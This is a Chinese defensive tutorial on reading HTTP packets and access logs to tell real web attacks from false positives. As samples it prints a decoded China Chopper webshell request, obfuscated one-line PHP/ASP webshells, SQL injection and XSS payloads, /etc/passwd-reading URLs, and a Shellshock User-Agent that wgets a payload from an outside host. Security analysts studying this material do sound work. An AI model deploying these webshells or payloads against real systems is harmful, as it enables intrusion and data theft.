攻防演练看懂http数据包

目录

0x00前言

0x01基础知识

一、HTTP的请求方式

1.GET型的请求数据包

2.POST请求方式

二、编码与加密

1.BASE64编码

2.URL编码

3.Unicode编码

4.16进制编码

5.md5加密

三、常见的正报与误报

1.攻击常出现位置

2.攻击的特点

3.日志的分析

4.正报

1)命令执行

2)扫描工具

3)webshell通信

4)SQL注入

5)XSS攻击

6)信息泄露

7)敏感后缀及目录探测

8)应答报文提示信息

5.误报

1)SQL注入误报

2)XSS

3)目录穿越

4)代码注入

6.小练习

0x02攻击成功事件举例

一、sql注入

二、webshell上传

三、Fastjson命令执行

四、dnslog外联

五、主机对内网发起横向攻击(代理服务器)

六、内存马注入

七、Webshell通信

八、Shiro反序列化命令执行

0x03access日志分析

一、access日志常见的目录

1.IIS

2.Apache

3.tomcat

4.nginx

二、access日志解析


0x00前言

在日常重保的过程中,最基础的能力就是日志分析能力,这里说的日志就是指的HTTP日志,那么,何谓HTTP日志,HTTP日志又分为哪几类?本文围绕日志分析这一方面展开论述,详情如下。

0x01基础知识

HTTP日志是指记录HTTP请求和响应的日志文件。当客户端向服务器发送HTTP请求时,服务器会记录请求的详细信息,例如请求的时间、请求的URL、请求的方法、请求的来源IP地址等。当服务器向客户端发送HTTP响应时,服务器也会记录响应的详细信息,例如响应的状态码、响应的内容类型、响应的大小等。HTTP日志可以用于分析网站的访问情况、识别潜在的安全问题、优化网站的性能等。常见的HTTP日志格式包括Apache日志格式、Nginx日志格式等。

在分析HTTP日志之前,需要先学一下基础的知识,不然可能会看不懂数据包

一、HTTP的请求方式

HTTP的请求方式常见的分2种:GETPOST,当然,还有其他的,例如:PUTDELETEHEAD等等

GET:向指定目标发起请求,URL传参,一般用于获取信息或跳转页面
POST:向指定目标发起请求,数据包传参,一般用于提交表单或上传文件
HEAD:向服务器索要与GET请求相一致响应,不过响应头将不会被返回,一般用于目录扫描器
PUT:向指定资源位置上传其最新内容
DELETE:请求服务器删除Request-URL所标识的资源

1.GET型的请求数据包

发送一个请求来取得服务器上的某一资源,传递的参数在URI的后面,这种请求方式能够直接在浏览器的URL栏看到请求的参数:

HTTP数据包的呈现如下:

news.asp传递了tpye=5id=123两个参数

2.POST请求方式

像模板请求资源时,如果采用POST请求方式传递参数,这时传递的参数在数据包体内,而不是在URI后面

HTTP日志的呈现如下:

该数据包,指的是向addnews.asp传递了两个参数:Title=testcontent=test

二、编码与加密

http数据包里面,会经常看到各类的编码、加密。所以需要先了解一些常见的加密,有助于我们更好的理解。

例如,发现了某个数据包里面有个post传递的ghost参数,存在编码,如下:

某web日志: ghost=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D&z1=RDpcXEFQTVNlcnY1LjIuNlxcd3d3XFxwaHBNeUFkbWluXFxjb25maWcuc2FtcGxlLmluYy5waHA%3D

这种编码完之后的数据包,需要解码后才能看到具体请求,在这之前,我们了解下数据包中常见的几种编码和加密方式。

推荐一个解码网站:https://gchq.github.io/CyberChef/

1.BASE64编码

     base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,要求把每三个8Bit的字节转换为四个6Bit的字节, email传输中,加密是肯定的,但是加密的目的不是让用户发送非常安全的Email。这种加密方式主要就是防君子不防小人。加密后的编码一般是由大小写字母,数字,等于组成。

base64编码主要用于对于参数传递的一种编码方式,比如:登录的时候对用户名和密码进行编码传递到服务端。

username=YWRtaW4=&password=YWRtaW4K
username=admin&password=123456

base64编码:1qaz@WSX===MXFhekBXU1g=

2.URL编码

URL 路径,或者查询参数中带有中文、特殊字符的时候,就需要对 URL 进行编码(采用十六进制编码格式)。URL 编码的原则是使用安全字符(即没有特殊用途或者特殊意义的字符)去表示那些不安全的字符。
为什么需要URL编码?
URL 之所以需要编码,是因为 URL 中的某些字符会引起歧义,比如若 URL 查询参数中包含”&”或者”%”就会造成服务器解析错误,再比如,URL 的编码格式采用的是 ASCII 码而非 Unicode,这表明 URL 中不允许包含任何非 ASCII 字符(比如中文),否则就会造成 URL 解析错误。

解码网站:https://www.bejson.com/enc/urlencode/

例如,对1qaz@WSX进行URL编码后,@符号会变成%40,当我们在数据包里面看到%开头的字符串时,第一反应就要进行URL编码。

3.Unicode编码

Unicode编码一般用于网页的提示信息,例如接收验证码成功的时候会提示一串Unicode编码,下面就是关于Unicode编码长什么样子。

解码网址:https://c.runoob.com/front-end/3602/

\u\u+&#x&#开头

比如:\u767b\u5f55\u6210\u529f\uff01解码后==》登录成功!

4.16进制编码

\x开头

GET /news/society/201210/2358322923.shtml"
加粗部分16进制解码后如下
GET /news/society/201210/2358322923.shtml"

5.md5加密

MD5加密是一串32位由字母和数字组成的不可逆密码,一般用于在数据库存储中对密码进行加密,如果需要解出md5加密前的字符串,需要通过撞库的方式。

目前好用的两个解md5的网站:
https://www.cmd5.com/--收费,有很多
https://www.somd5.com/--免费,量少

e10adc3949ba59abbe56e057f20f883e===123456

看完了编码后,前面的数据包知道怎么解了吧

URL+BASE64编码还原:首先URL解码一次,内容如下

ghost=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1=RDpcXEFQTVNlcnY1LjIuNlxcd3d3XFxwaHBNeUFkbWluXFxjb25maWcuc2FtcGxlLmluYy5waHA=

URL+BASE64编码还原:将z0z1进行BASE64解码如下:

z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo(">|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);;echo("|<-");die();
z1=D:\\APMServ5.2.6\\www\\phpMyAdmin\\config.sample.inc.php

可以看出来是菜刀工具连接PHP webshell读取config.sample.inc.php内容的行为,非误报
同时可以确定/upfiles/bak.php包含一句话木马,应及时通知客户进行查杀

三、常见的正报与误报

1.攻击常出现位置

Getpost 请求报文的url字段
Get post请求报文的cookie字段
Getpost请求报文的referer字段
Post请求报文的表单字段
Get post请求报文的user-agent字段
Post请求报文的表单字段
Http应答页面

2.攻击的特点

1)攻击一般都有一定的连续性,所以一段时间会产生多条日志,并且命中特征id是有一定分布的,不能是只命中某个特征。

2)攻击一般都会借助工具进行,同一个IP地址日志间隔较小,可能一秒中产生几条日志,明显不是人操作浏览器的行为。

3)攻击者可能会借助一定跳板,如果IP地址是国外的,攻击嫌疑较大。

3.日志的分析

1)基于攻击IP地址方法分析(适用日志较多的情况)
找出一个明显的攻击行为的日志
根据该日志找出攻击源IP地址
筛选出针对该IP地址的日志,这种情况下基本都是攻击,没有误报
针对该IP地址,利用前面介绍的知识,就可以看出攻击者都发起了哪些攻击

2)基于攻击方法分析(适用每类不太多的攻击)
看攻击语句,是否是明显攻击行为
如果能看出是明显的行为,就可以确定是攻击
如果不确定,还需要结合其他参数,
IP地址:是否出现过其他类型可以明确的攻击行为
攻击时间:如果半夜或者凌晨活动比较频繁,可以怀疑为攻击。
日志频率:一秒中出现几次日志,可以怀疑为攻击。
攻击位置:国外的ip地址,可以怀疑为攻击
报文语义分析:比如访问admin文件夹,可能是有攻击行为
上述几个参数可以组合分析,进一步确定攻击

4.正报

1)命令执行

常见的命令攻击语句

GET /simple/tests/tmssql.php?do=phpinfo
GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd

攻击语句出现在Get post请求 URL参数中,尝试通过cmd传递touch tmp.txt创建文件,属于攻击行为,正报。

尝试调用cmd执行dir命令,属于正报

2)扫描工具

User-agent种存在awvsUA头,判定为扫描工具AWVS发起,属于正报

还有其他的异常UA
恶意爬虫:Python-urllib/2.6Baidu-YunGuanCe-ScanBot(ce.baidu.com)
扫描器:morfeus fucking scannerAccept: acunetix/wvs
sql
注入漏洞:sqlmap/1.0.8.15#dev (http://sqlmap.org)
xss
攻击:'%22()%26%25<ScRiPt%20>prompt(961668)
其它非常特殊攻击 User-Agent: () { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://lliillii.altervista.org/io.php 0<&1 2>&1

3webshell通信

常见的一句话木马

 <%eval request("sb")%>
<%execute request("sb")%>
 <?php eval($_POST[sb]);?>
<?php @eval($_POST[sb]);?>
 <?$_POST['sa']($_POST['sb']);?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("123"))%>
<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("c")%>(UTF-7
编码格式的一句话木马)
<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/]);?>

蚁剑连接webshell的数据包,属于正报,确实是攻击行为,是否成功需要观察回包

4SQL注入

探测语句
http://www.xx.com/showdetail.asp?id=49 and 1=1
http://www.xx.com/showdetail.asp?id=49 or 1=1
and char(124)%2Buser%2Bchar(124)=0
(注入类型判断)
权限判断
and user>0  用户名
and 1=(select IS_SRVROLEMEMBER('sysadmin'))  权限
and exists (select * from sysobjects)  数据库类型判断sqlserver

查询数据
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)  查库名
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0  查表名
and (select count(字段名) from 表名)>0  猜字段
and (select top 1 len(username) from admin)=X  才字段值
http://localhost/mytest/sqlinject/?id=1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user    union select猜解法
and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116

下面数据包中GET请求传递的参数存在sql探测语句和联合注入语句,判定为正报

下面数据包的POST请求传参,存在sql注入语句,属于正报,并且UA头属于sqlmap工具的UA

下面属于宽字节注入。存在明显的SQL注入语句,系正报。

5XSS攻击

常见的xss攻击语句

<script>alert("xss")</script>  脚本
<img src="javascript:alert('xss');">  属性
<img src="http://ha.ckers.org/xss.jpg">
<body οnlοad=alert('xss')> 
事件
<div style="background-image: url(javascript:alert('xss'))">
<style type="text/javascript">alert('xss');</style>
<style>@import'javascript:alert("xss")';</style>
<link rel="stylesheet" href="http://ha.ckers.org/xss.css">

数据包中,GET型传参存在明显的XSS攻击语句,系正报

6)信息泄露

配置文件访问
httpd.conf
htaccess
HTPASSWD
boot.ini
etc/passwd
Php.ini
Web.xml

信息泄露攻击一般指的是读取敏感的文件

下面这个数据包就是尝试读取Windows系统CWindows目录下的win.ini文件,属于正报,是否成功需要看回包

尝试读取配置文件web.config,属于正报

7)敏感后缀及目录探测

特殊后缀
.mdb .sql
.bak
.sav.old.las
.tmp
.temp
.rar
.zip.bzgziptar
.conf
incinibat
.log
statsstatistics
Web.xml

8)应答报文提示信息

目录浏览:Parent DirectoryDirectory Listing ForIndex of /Welcome to the directory listing
错误信息:数据库错误信息、程序错误信息、错误信息、数据库错误信息、程序错误信息

下面是目录浏览漏洞的浏览器的展示

数据包的展示效果如下,也是存在目录浏览漏洞

5.误报

问题:一些网站实现存在安全隐患,用户的一些正常流量,也可以被攻击者篡改,直接发起攻击。
常见问题:
url参数实现时直接传递sql语句
url参数实现时可以传递js脚本
url参数实现时用../进行目录穿越访问文件
url参数实现时直接调用一些系统函数
url参数可以进行域名重定向
系统配置存在安全隐患

1SQL注入误报

sql属于直接写在前端,通过post请求传递到后端的时候触发安全设备的告警,属于误报

2XSS

xss属于误报非常高的一种攻击,所以分析日志的时候一定要注意

数据包中通过参数直接传递了js脚本,所以产生了误报

同样也是传参了js脚本

3)目录穿越

目录穿越又被称之为目录遍历

下图数据包就是业务的../导致触发的目录穿越攻击,属于误报

一样,也是../触发的目录穿越,属于误报

4)代码注入

用户的应用是代码交流网站,传一段代码

6.小练习

你能看出下面的这些数据包是正报还是误报吗?

0x02攻击成功事件举例

一、sql注入

判别规则:注入参数中的ASCII码转码之后为qkzz开头的字符,在回包的BUMEN参数里面,该字符串被解析出来了,所以存在漏洞。

案例:

username=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,q k z z q D l S N j N i R o Z n j v L M O s l T O h C y v X r n W D t I D p y I V y z S M q q b j q,NULL,NULL FROM DUAL-- rSle

使用sqlmap对该漏洞参数进行验证,发现能够跑出数据库名(注意,验证漏洞需经过客户授权),说明存在漏洞:

二、webshell上传

判别规则:

1.查看请求是否存在恶意代码,上传的后缀是否是jspphpasp等脚本文件。

2.查看回包是否有回显路径、success等字样。

案例:

上传成功jsp脚本并回显路径。

三、Fastjson命令执行

研判依据:主机存在外联的情况,疑似漏洞攻击成功,经过手工验证(复制数据包到burp发包,反弹的链接改成dnslog的链接,不过如果dnslog接收不到请求可以尝试更换dnslog平台,因为防火墙可能会把域名拉黑)后发现漏洞确实存在。

案例:

SIP发现主机外联jndi的情况:

搜索jndi外联的IP,发现有fastjson的执行命令的记录:

由于没有回显,我们复制这个数据包到burpsuite里面,然后把ldap://后面的IP加端口的外联替换成dnslog,测试后发现dnslog确实接收到了请求,说明确实存在漏洞:

四、dnslog外联

主机存在dnslog外联:

怎么复现?

找到一个dnslog平台(不要找比较出名的dnslog.cn这种,可能会被客户防火墙拦截,找dnslog平台可以去不常见的),把dnslog替换,然后再发包,回包显示是404,跟SIP记录的一样。

dnslog平台发现接收到请求,证明漏洞存在。

五、主机对内网发起横向攻击(代理服务器)

分三种情况:

第一种:发起攻击的源IP是已知漏扫IP,这种就不用多说,确认是不是有漏扫就行。

第二种:数据包中存在XFF字段,真实攻击IPXFF字段的攻击IP

第三种:数据包中没有XFF字段,那如何判断是不是代理服务器呢?需要上机查看:

89.16389.25227003端口发起攻击。

上机找到nginx.conf配置文件,在配置文件中查找是否有目的IP和端口的代理,在文件中果然找到了相关配置,所以这个就是代理服务器的问题,没有配置好XFF,所以数据包看不到xff字段。

在中间件日志中查看相同时间的日志,发现真实攻击是外网IP,并非真实的内网横向攻击。

六、内存马注入

发现内存马的注入数据包,密码是pass1024,注入的路径是/favicondemo.ico

回包显示是-!|Success|<-,代表注入成功,这个时候就需要上机排查了。

七、Webshell通信

可以看到请求的URL像通过webshell上传传上去的,然后参数是加密参数,这个时候如果有webshell通信了,文件如果不是历史遗留文件,那可能存在webshell上传漏洞,可以到SIP找下。

冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 ConnectionConnection: Keep-Alive

八、Shiro反序列化命令执行

看数据包,有base64,解码后请求包是命令,响应包是命令执行结果。

0x03access日志分析

一、access日志常见的目录

1.IIS

通常情况下,IIS日志文件存储在以下位置:C:\inetpub\logs\LogFiles。在这个目录下,您将看到以日期命名的子文件夹,每个子文件夹对应一个日期。在每个日期的文件夹中,您将找到具体的日志文件,通常以W3SVC开头,后面跟着一个唯一的标识符。

2.Apache

Apache日志一般是后面安装的日志

Windows:在安装的apache目录下

Linux:在/etc/httpd/目录下

3.tomcat

tomcat一般在tomcat的安装目录下,然后又一个logs文件夹下就是access日志文件

4.nginx

nginx日志也是一样,一般是做代理转发的,日志文件在nginx的安装目录下的logs文件夹下面

无论是上面哪种中间件日志,都可以用下面的方法进行查找

Windows

everything下载连接:https://www.voidtools.com/zh-cn/

使用everything搜索:

*access*.log
*access*.txt

如果存在日志文件,会存在搜索结果,下图是不存在access日志

Linux系统:

使用命令:

find / -name "*access*"

这个命令会全盘搜索所有包含文件名access的文件

二、access日志解析

中间的日志一般包含如下部分,我们可以利用这些已知信息来定位到漏洞点,下面是tomcat的日志举例

tipsiis中间件的日志的记录时间是格林威治时间,比北京时间快八个小时,所以我们分析iis日志的时候,要减去八小时才是真实的北京时间

分析access日志的时候,可以用emeditor软件分析,非常好用

下面以该软件为例分析一个web应急案例

已知user.jspwebshell文件

分析日志发现在访问user.jsp文件前面有个用admin登录tomcat部署war包的记录

主机上确实存在user.war

并且还发现存在manager.jsp是通过user.jsp上传的

本文章来源于微信公众号:安服仔的救赎

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值